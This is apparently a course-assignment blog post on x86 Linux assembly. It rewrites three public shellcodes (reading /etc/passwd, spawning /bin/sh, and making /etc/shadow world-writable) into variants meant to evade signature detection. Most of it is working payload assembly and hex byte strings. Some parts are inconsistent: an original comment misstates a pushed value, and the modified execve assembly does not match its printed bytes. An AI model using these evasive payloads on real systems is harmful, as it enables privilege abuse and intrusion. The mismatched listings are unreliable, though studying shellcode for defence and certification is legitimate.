x86 Assembly Language and Shellcoding on Linux

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.

Goal

The goal of this assignment is to demonstrate polymorphism by modifying three existing shellcode from shell-storm.org without increasing the shellcode size by 50%.

Methods

I used radare2 with Cutter for disassembly.

readpasswd

This shellcode from Geyslan reads 4096 bytes from /etc/passwd and prints it out on the screen. Original shellcode.

For my basic assembly skills, the code looks elegant with little room for optimalization. Thanks to the relocatable and alternative instructions, we can modify the shellcode without expanding the original length of 51 bytes.

xor  ecx, ecx
mul  ecx
mov  al, 5
push ecx
push 0x64777373 ; 'sswd'
push 0x61702f63 ; 'c/pa'
push 0x74652f2f ; '//et'
mov  ebx, esp
int  0x80
xchg eax, ebx
xchg eax, ecx
mov  al, 3
xor  edx, edx
mov  dx, 0xfff
inc  edx
int  0x80
xchg eax, edx
xor  eax, eax
mov  al, 4
mov  bl, 1
int  0x80
xchg eax, ebx
int  0x80

fuzboxz@napalm:~/Learning/SLAE$ ./_shellskeleton
Shellcode Lenth: 51

The first thing that’s easy to do is replace all the xor register, register instructions with sub. The effect of this instruction for our purposes is the same, but makes the original shellcode less recognizable.

Another trick to spice up things is to rearrange the slash padding in the command string. It’s a small change, but makes the payload a bit different.

One more trick to save some space and change the shellcode a bit is to leave out the graceful SYS_EXIT syscall. While this makes the program exit with SEGFAULT, the payload still executes and we save 3 bytes, lowering the original size of 51 to 48 bytes.

; different null instruction
sub  ecx, ecx
mul  ecx
push ecx

; command slash padding reorganized
push 0x64777373 ; 'sswd'
push 0x61702f2f ; '//pa'
push 0x6374652f ; '/etc'
mov  ebx, esp
; rearanged order of instructions
mov  al, 5
int  0x80 ; SYS_OPEN

xchg eax, ebx
xchg eax, ecx
mov  al, 3

; different null instruction
sub  edx, edx
mov  dx, 0xfff
inc  edx
int  0x80 ; SYS_READ

xchg eax, edx
; different null instruction
sub  eax, eax
mov  bl, 1
mov  al, 4
int  0x80 ; SYS_WRITE

; Shellcode executes without SYS_EXIT 
;xchg eax, ebx
;int  0x80 

fuzboxz@napalm:~/Learning/SLAE$ ./_shellskeleton
Shellcode Lenth: 48

execve /bin/sh

A featherweight local /bin/sh shellcode from ipv at 21 bytes. Original shellcode.

int main(){
 
char sc[] = "\x6a\x0b" // push byte +0xb
"\x58" // pop eax
"\x99" // cdq
"\x52" // push edx
"\x68\x2f\x2f\x73\x68" // push dword 0x68732f2f
"\x68\x2f\x62\x69\x6e" // push dword 0x6e69922f
"\x89\xe3" // mov ebx, esp
"\x31\xc9" // xor ecx, ecx
"\xcd\x80"; // int 0x80
 
((void (*)()) sc)();
}
 
/*
sc[] = "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80"
*/

To obfuscate the shellcode we can expand some of the instructions so they seem different compared to the original shellcode. First I used different method for nulling out registers, I xor’d eax and moved it’s value into the other registers. After that, I used mov instead of push-pop for the execve syscall. The name of the command has also been modified.

xor eax,eax ; null out eax
mov edx, eax ; null out edx
mov al, 0xb ; 11 execve syscall
mov ecx, eax ; null out ecx
push edx  ; push null to stack
push 0x683f2f2f ; "//?h"
push 0x6e3f3f2f ; "/??n"
mov ebx, esp ; stores executable path in ebx
int 0x80 ; init syscall

After compiling and linking we get the following shellcode at 23 bytes: “\x31\xc0\x89\xc2\xb0\x0b\x89\xd1\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\xcd\x80”

slae@slae: ~/SLAE$ ./polyexecve
Shellcode Length: 23

chmod /etc/shadow

Simple shellcode by Kris Katterjohn that modifies the /etc/shadow permissions to 0666 enabling all users to edit and modify the shadow file. Original shellcode.

section .text
        global _start
   _start:
     xor edx, edx
     push byte 15
     pop eax
     push edx
     push byte 0x77
     push word 0x6f64
     push 0x6168732f
     push 0x6374652f
     mov ebx, esp
     push word 0666Q
     pop ecx
     int 0x80
     push byte 1
     pop eax
     int 0x80

slae@slae:~/SLAE$ ./orichmod
Shellcode Length: 36

section .text

As the shellcode is rather simple, there is limited amount of changes that can be done to make the code more sneaky. First I changed the syscall number to 16 and I decrease it back to 15. The numbers are arbitrary and with math wizardry one might modify it so it looks like an exit syscall instead of a chmod or chown, but for Proof-of-Concept, this is perfectly sufficient. I also changed some of the nulls, so they are less recognizable: I used cdq to null out the EDX register and instead of pushing and poping 1 on the stack, I xor out EAX and increment it’s value by one for the exit syscall.

global _start

_start:

	push byte 16
	pop eax
	sub eax, 1
	cdq

	push byte 0x77
	push word 0x6f64
	push 0x6168732f
	push 0x6374652f
	mov ebx, esp
	push word 0666Q
	mov ecx, edx
	pop ecx
	int 0x80

	xor eax,eax
	add eax, 1	
	int 0x80


"\x6a\x10\x58\x83\xe8\x01\x99\x6a\x77\x66\x68\x64\x6f\x68\x2f\x73\x68\x61\x68\x2f\x65\x74\x63\x89\xe3\x66\x68\xb6\x01\x89\xd1\x59\xcd\x80\x31\xc0\x83\xc0\x01\xcd\x80"

slae@slae:~/SLAE$ ./polychmod
Shellcode Length: 41

These small changes made the shellcode less recognizable and only incremented the shellcode size by 13.8%. It would also be possible to remove the exit syscall as well to gain a few more bytes.

Final Thoughts

I didn’t enjoy this assignment, that’s is why it took me almost a month to finish it. At the end of the day rewriting someone else’s shellcode is an awesome skill to possess, but I don’t plan to use it a lot.

Again, all the code is on my Github and if you want to be informed about new posts, just follow me on Twitter at @fuzboxz.